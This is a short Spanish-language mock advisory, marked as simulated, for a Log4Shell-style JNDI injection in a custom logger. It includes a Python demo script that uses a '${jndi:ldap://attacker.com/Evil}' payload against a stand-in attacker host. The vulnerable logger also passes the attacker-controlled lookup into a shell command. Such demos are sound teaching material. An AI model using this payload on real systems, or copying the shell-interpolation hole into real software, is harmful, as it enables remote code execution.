CVE-2026-21011 – Inyección JNDI estilo Log4j en un logger personalizado (Simulado)

Código del programa (simulación en Java en Python)

# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – Inyección JNDI mediante un logger personalizado

Descripción general

Un framework de logging personalizado evalúa los patrones ${jndi:...} en los mensajes de registro, similar a la famosa vulnerabilidad Log4Shell. Un atacante puede inyectar una búsqueda JNDI para cargar y ejecutar código arbitrario desde un servidor remoto.

Detalles de la vulnerabilidad

• Tipo: Inyección de código / Inyección JNDI
• Impacto: Ejecución remota de código.
• Causa raíz: El logger analiza datos controlados por el usuario y realiza búsquedas dinámicas basadas en el contenido.

Demostración del exploit

Ejecuta la simulación:

python log4j_sim.py

El script muestra que cargaría una clase desde el servidor LDAP del atacante.